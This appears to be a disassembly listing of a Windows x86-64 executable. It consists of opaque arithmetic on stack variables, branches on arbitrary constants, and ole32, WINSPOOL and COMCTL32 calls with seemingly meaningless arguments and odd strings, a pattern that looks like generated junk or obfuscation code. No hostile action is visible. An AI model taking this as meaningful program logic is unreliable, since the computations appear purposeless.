mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
add eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3878]
mov ecx, dword [rsp + 0x398c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39ac], eax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x3954]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x6940]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x69a8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
shl eax, cl
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6a18]
shr rax, cl
mov rcx, qword [0x1401de370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
jmp 0x14000d321
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [rsp + 0x39ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov edx, dword [rsp + 0x3878]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14000d714
movzx eax, word [rsp + 0xf50]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x60c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6978]
mov qword [rsp + 0x6b18], rax
cmp qword [rsp + 0x6b18], 0
je 0x14000d5cf
movabs rax, 0x4832aef9e741aeee
cmp qword [rsp + 0x6b18], rax
je 0x14000d667
jmp 0x14000d714
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov qword [rsp + 0x6b20], rax
mov eax, dword [rsp + 0x38c0]
mov dword [rsp + 0x39c8], eax
mov rax, qword [rsp + 0x6988]
movzx eax, byte [rax]
mov byte [rsp + 0x39cc], al
cmp byte [rsp + 0x39cc], 0
je 0x14000d636
cmp byte [rsp + 0x39cc], 8
je 0x14000d618
jmp 0x14000d662
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x398c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
jmp 0x14000d662
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x170], al
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x6b28], rax
jmp 0x14000d714
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov qword [rsp + 0x6b30], rax
movabs rax, 0xd868ff4fdddcea0f
cmp qword [rsp + 0x6b30], rax
je 0x14000d690
jmp 0x14000d6f0
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov word [rsp + 0xf54], ax
jmp 0x14000d714
mov rax, qword [rsp + 0x6950]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x171]
mov rax, qword [rsp + 0x6968]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
mov eax, dword [rsp + 0x398c]
mov dword [rsp + 0x39d0], eax
cmp dword [rsp + 0x39d0], 0
je 0x14000d764
cmp dword [rsp + 0x39d0], 0x38e82fd4
je 0x14000d73e
jmp 0x1401c1155
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6aa8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
jmp 0x1401c1155
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov qword [rsp + 0x6b38], rax
cmp qword [rsp + 0x6b38], 0
je 0x14000d787
jmp 0x14000d8d9
mov eax, dword [rsp + 0x3954]
mov ecx, dword [rsp + 0x39c8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac8]
mov rax, qword [rax]
mov qword [rsp + 0x6b40], rax
movabs rax, 0x596f0f4f70618787
cmp qword [rsp + 0x6b40], rax
je 0x14000d8b5
movabs rax, 0x72873b6600abec8d
cmp qword [rsp + 0x6b40], rax
je 0x14000d7e7
jmp 0x14000d8d7
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
mov byte [rsp + 0x39d4], al
cmp byte [rsp + 0x39d4], 0x33
je 0x14000d896
cmp byte [rsp + 0x39d4], 0x98
je 0x14000d816
jmp 0x14000d8b3
lea r8, [rsp + 0x6a08]
mov edx, 0x8d
lea rcx, [rsp + 0x2bb40]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x39d8], eax
mov rax, qword [0x1401de368]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6b00]
shl rax, cl
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x39ac]
shr eax, cl
mov rcx, qword [rsp + 0x6ae0]
mov dword [rcx], eax
lea rdx, [rsp + 0x2bb30]
lea rcx, str.Naughtiness_hurtles
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x39a0], eax
jmp 0x14000d8b3
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf54], ax
jmp 0x14000d8d7
mov rax, qword [rsp + 0x6af0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6af0]
mov byte [rcx], al
jmp 0x14000d91d
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6b00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x398c]
mov rax, qword [rsp + 0x6898]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6b28]
movzx ecx, byte [rax]
call fcn.1401c33b0
nop
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd20], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x60c0]
mov qword [rsp + 0x6b48], rax
mov eax, dword [rsp + 0x38cc]
mov ecx, dword [rsp + 0x39c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf54]
movzx ecx, word [rsp + 0xd20]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xf44]
sub ecx, edx
cmp eax, ecx
jl 0x1401c1004
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6a40]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14000da2e
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6b48]
sub rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
jmp 0x1401c0fe8
lea rax, [rsp + 0x38c0]
mov qword [rsp + 0x6b50], rax
movzx eax, word [rsp + 0xf54]
mov dword [rsp + 0x39dc], eax
cmp dword [rsp + 0x39dc], 0x8bb
je 0x14000da5f
jmp 0x14000dafa
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x398c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf50]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf48], ax
mov edx, 0xaa
lea rcx, [rsp + 0x6928]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x396c], eax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x16f]
mov rax, qword [rsp + 0x69e8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x6ab0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6ab0]
movzx ecx, word [rax]
call fcn.1401c2430
nop
jmp 0x1401c0f3f
movzx eax, word [rsp + 0xf54]
mov dword [rsp + 0x39e0], eax
cmp dword [rsp + 0x39e0], 0
je 0x14000db29
cmp dword [rsp + 0x39e0], 0x3fb
je 0x1401c0ca4
jmp 0x1401c0e4b
movzx eax, word [rsp + 0xd20]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sar eax, cl
mov rcx, qword [rsp + 0x6a48]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x69e8]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14000dc87
mov eax, dword [rsp + 0x39ac]
mov ecx, dword [rsp + 0x398c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3878]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000dc87
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov dword [rsp + 0x39e4], eax
cmp dword [rsp + 0x39e4], 0x164
je 0x14000dbcb
jmp 0x14000dbe9
movzx edx, word [rsp + 0xf40]
mov rax, qword [rsp + 0x6898]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
jmp 0x14000dc87
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
lea rax, [rsp + 0x6b58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xeb
lea r9, [rsp + 0x6b60]
lea r8, [rsp + 0x6ab0]
mov rdx, qword [rsp + 0x6b68]
mov rcx, qword [rsp + 0x6b58]
call sub.WINSPOOL.DRV_GetPrinterDataA
mov dword [rsp + 0x398c], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6b20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ac8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x39ac]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b48]
mov qword [rsp + 0x6b70], rax
mov rax, qword [rsp + 0x6ae0]
mov ecx, dword [rsp + 0x39ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3878]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000dd46
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov dword [rsp + 0x39e8], eax
cmp dword [rsp + 0x39e8], 0x673
je 0x14000dd0d
cmp dword [rsp + 0x39e8], 0xeff
je 0x14000dd2c
jmp 0x14000dd46
lea rdx, [rsp + 0x3888]
lea rcx, [rsp + 0x2bb40]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x39ec], eax
jmp 0x14000dd46
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3954]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x39c8], eax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x39f0], eax
cmp dword [rsp + 0x39f0], 0x40d44267
je 0x14000dd63
jmp 0x14000ddd8
mov rax, qword [rsp + 0x69d0]
mov eax, dword [rax]
mov dword [rsp + 0x39f4], eax
cmp dword [rsp + 0x39f4], 0x4fd825b8
je 0x14000dd90
cmp dword [rsp + 0x39f4], 0xb5b3130b
je 0x14000ddb6
jmp 0x14000ddd3
movzx r8d, byte [rsp + 0x171]
mov rax, qword [rsp + 0x6af0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6970]
mov ecx, dword [rax]
call fcn.1401c20f0
nop
jmp 0x14000ddd3
movzx eax, word [rsp + 0xf44]
movzx ecx, word [rsp + 0xf54]
shl eax, cl
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
jmp 0x14000de62
mov rax, qword [rsp + 0x6af0]
movzx eax, byte [rax]
mov byte [rsp + 0x39f8], al
cmp byte [rsp + 0x39f8], 0x2c
je 0x14000de3f
cmp byte [rsp + 0x39f8], 0x35
je 0x14000de00
jmp 0x14000de62
mov rax, qword [rsp + 0x6a30]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x6b28]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x6ab0]
movzx r8d, word [rax]
movzx edx, word [rsp + 0xf4c]
movzx ecx, word [rsp + 0xf40]
call fcn.1401c2430
nop
jmp 0x14000de62
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
mov eax, dword [rsp + 0x39ac]
mov dword [rsp + 0x39fc], eax
cmp dword [rsp + 0x39fc], 0
je 0x14000de90
cmp dword [rsp + 0x39fc], 0x58d91f4a
je 0x14000df7a
jmp 0x14000e053
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf50]
xor eax, ecx
mov word [0x1401dd00c], ax
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov qword [rsp + 0x6b78], rax
cmp qword [rsp + 0x6b78], 0
je 0x14000df02
movabs rax, 0x2a9b2c96af3daa
cmp qword [rsp + 0x6b78], rax
je 0x14000df5b
mov rax, qword [rsp + 0x6b28]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
movsx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x171], al
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0x6b48]
mov qword [rsp + 0x6b80], rax
jmp 0x14000df75
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ac8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b00]
mov qword [rsp + 0x6b88], rax
movabs rax, 0x1c9561f549cc8154
cmp qword [rsp + 0x6b88], rax
je 0x14000e033
mov rax, qword [rsp + 0x6b20]
mov rcx, qword [rsp + 0x6b00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6a48]
movsx eax, word [rax]
mov dword [rsp + 0x5f74], eax
cmp dword [rsp + 0x5f74], 0x5eb7
je 0x1401c0ce6
jmp 0x1401c0e2b
movzx eax, byte [str.sK:]
mov byte [rsp + 0x5f78], al
cmp byte [rsp + 0x5f78], 0xc7
je 0x1401c0d03
jmp 0x1401c0e06
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
movsx ecx, byte [rsp + 0x171]
mov rdx, qword [rsp + 0x6968]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1401c0e04
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x6950]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0x16
lea rax, [rsp + 0x6b10]
mov qword [rsp + 0x20], rax
mov r9d, 0xea
lea r8, [rsp + 0x3934]
lea rdx, [rsp + 0x2bb60]
lea rcx, [rsp + 0x6968]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x39a0], eax
lea rax, [rsp + 0x3984]
mov qword [rsp + 0x20], rax
mov r9d, 0x81
mov r8, qword [rsp + 0x2ba88]
mov rdx, qword [rsp + 0x6c30]
mov rcx, qword [rsp + 0x6b60]
call sub.WINSPOOL.DRV_EnumPrinterKeyA
mov dword [rsp + 0x398c], eax
mov rax, qword [rsp + 0x6b50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov dword [rcx], eax
jmp 0x1401c0e29
mov rax, qword [rsp + 0x6a48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
jmp 0x1401c0e4b
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf44], ax
mov eax, dword [rsp + 0x398c]
mov dword [rsp + 0x5f7c], eax
cmp dword [rsp + 0x5f7c], 0x1f0a8d89
je 0x1401c0e68
jmp 0x1401c0e85
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [rsp + 0xf58]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
lea r9, [rsp + 0x6928]
lea r8, [rsp + 0x6ae8]
lea rdx, str.Craned_Fringing
lea rcx, [rsp + 0x38c0]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x3a44], eax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x172]
and eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x16f]
movzx r8d, word [rsp + 0xf4c]
movzx edx, word [rsp + 0xf50]
movzx ecx, word [rsp + 0xf4c]
call fcn.1401c2430
nop
lea rax, [rsp + 0x6a58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6a58]
lea r8, [rsp + 0xd20]
mov edx, 9
lea rcx, [rsp + 0x6c78]
call qword [sym.imp.ole32.dll_CoInstall]
mov dword [rsp + 0x388c], eax
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x6b48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x6b20]
mov rcx, qword [rsp + 0x6ae8]
mov qword [rsp + 0x2bad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2bad0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
mov r8, qword [rsp + 0x6a18]
movzx edx, byte [rsp + 0x170]
mov rax, qword [rsp + 0x6af0]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
mov rax, qword [rsp + 0x6918]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6898]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [0x1401de360]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6b00], rax
mov eax, dword [rsp + 0x3878]
mov ecx, dword [rsp + 0x39ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x5f80], al
cmp byte [rsp + 0x5f80], 0x6a
je 0x1401c105a
jmp 0x1401c1076
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
shl eax, cl
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
mov dword [rsp + 0x5f84], ecx
movzx edx, word [rsp + 0xd20]
movzx ecx, dl
mov edx, dword [rsp + 0x5f84]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1401c10b9
jmp 0x1401c10d6
lea rdx, [rsp + 0xf4c]
lea rcx, [rsp + 0x2bb00]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x5f88], eax
lea r8, [rsp + 0x39bc]
mov dx, 0xe7
mov cx, 0x19
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x3934], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
and eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6a08]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x6a40]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x171]
call fcn.1401c33b0
nop
movzx edx, word [rsp + 0xf4c]
mov rax, qword [rsp + 0x6a40]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
shl eax, cl
mov word [rsp + 0xf54], ax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov dword [rsp + 0x5f8c], eax
cmp dword [rsp + 0x5f8c], 0xb5e
je 0x1401c11f9
cmp dword [rsp + 0x5f8c], 0xb76
je 0x1401c11d8
jmp 0x1401c1216
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
jmp 0x1401c1216
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b00], rax
mov r8d, 0xdf
mov rdx, qword [rsp + 0x6c28]
mov rcx, qword [rsp + 0x2bad8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x6af0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov dword [rsp + 0x5f90], eax
cmp dword [rsp + 0x5f90], 0x14f
je 0x1401c1275
jmp 0x1401c128b
movzx edx, word [rsp + 0xf48]
movzx ecx, byte [rsp + 0x172]
call fcn.1401c3b50
nop
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6a98]
mov qword [rsp + 0x2bae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2bae0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
lea r8, [rsp + 0x6a50]
lea rdx, [rsp + 0x6c78]
lea rcx, [rsp + 0x6ab0]
call qword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
mov dword [rsp + 0x3940], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
lea rdx, [rsp + 0x69c0]
lea rcx, [rsp + 0x6a48]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x396c], eax
mov rax, qword [rsp + 0x6aa8]
mov qword [rsp + 0x2bae8], rax
movabs rax, 0x376202045aca1c41
cmp qword [rsp + 0x2bae8], rax
je 0x1401c13bc
movabs rax, 0xc1709953a47431d3
cmp qword [rsp + 0x2bae8], rax
je 0x1401c137d
jmp 0x1401c141f
mov rax, qword [rsp + 0x6a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov word [rsp + 0xf40], ax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
jmp 0x1401c141f
lea r8, [rsp + 0x6960]
lea rdx, [rsp + 0x69f8]
lea rcx, [rsp + 0x2bb70]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x394c], eax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x6960]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6a40]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
jmp 0x1401c14de
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov qword [rsp + 0x2baf0], rax
movabs rax, 0x6dffd46efa227aa6
cmp qword [rsp + 0x2baf0], rax
je 0x1401c144d
jmp 0x1401c1470
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6ac8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a08]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [0x1401dd004]
mov edx, dword [0x1401dd008]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x1401c14de
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6988]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x68b8]
mov ecx, dword [rax]
call fcn.1401c20f0
nop
